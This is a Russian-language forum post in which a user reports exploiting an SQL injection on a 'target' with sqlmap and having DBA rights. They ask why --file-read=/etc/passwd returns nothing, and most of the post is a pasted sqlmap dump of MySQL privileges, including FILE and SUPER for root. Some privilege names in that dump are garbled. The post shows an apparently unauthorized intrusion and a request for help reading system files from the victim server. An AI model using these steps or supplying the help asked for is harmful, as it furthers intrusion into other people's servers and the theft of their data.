Sqlmap - прошу помочь. Привилегии

[weleor]

Привет, раскурил sql уязвимость у таргета через sqlmap, --privileges есть все, --is-dba: True. Но --file-read=/etc/passwd выполнить не могу, вообще файлы не читает, возвращает ' '.

web server operating system: Linux Ubuntu

web application technology: Apache 2.4.7, PHP 5.5.9

back-end DBMS: MySQL 5

Вывод privileges:

%debian-sys-maint% (administrator) [28]:

privilege: ALTER

privilege: ALTER ROUTINE

privilege: CREATE

privilege: CREATE ROUTINE

privilege: CREATE TABLESPACE

privilege: CREATE TEMPORARY TABLES

privilege: CREATE USER

privilege: CREATE VIEW

privilege: DEP\xc5TE

privilege: DROP

privilege: EVENT

privilege: EXECUTE

privilege: FILE

privilege: INDEX

privilege: INSERT

privilege: LOCK TABLES

privilege: PROCESS

privilege: REFERENCES

privilege: RELOAD

privilege: REPLICATION CLIENT

privilege: REPLICATION SLAVE

privilege: SELECT

privilege: SHOW DATABASES

privilege: SHOW VIEW

privilege: SHUTDOWN

privilege: SUPER

privilege: TRIH\xf9ER

privilege: UPDATE

%phpmyadmin% [1]:

privilege: USAGE

%root% (administrator) [28]:

privilege: ALTER

privilege: ALTER ROUTINE

privilege: CREATE

privilege: CREATE ROUTINE

privilege: CREATE TABLESPACE

privilege: CREATE TEMPORARY TABLES

privilege: CREATE USER

privilege: CREATE VIEW

privilege: DELETE

privilege: DROP

privilege: EVENT

privilege: EXECUTE

privilege: FILE

privilege: INDEX

privilege: INSERT

privilege: LOCK TABLES

privilege: PROCESS

privilege: R\xf9FCES

privilege: RELOAD

privilege: REPLIC\xfdTION SLAVE

privilege: REPLICATION CLIENT

privilege: SELECT

privilege: SHOW DATABASES

privilege: SHOW VIEW

privilege: SHUTDOWN

privilege: SUPER

privilege: TRIGGER

privilege: UPDATE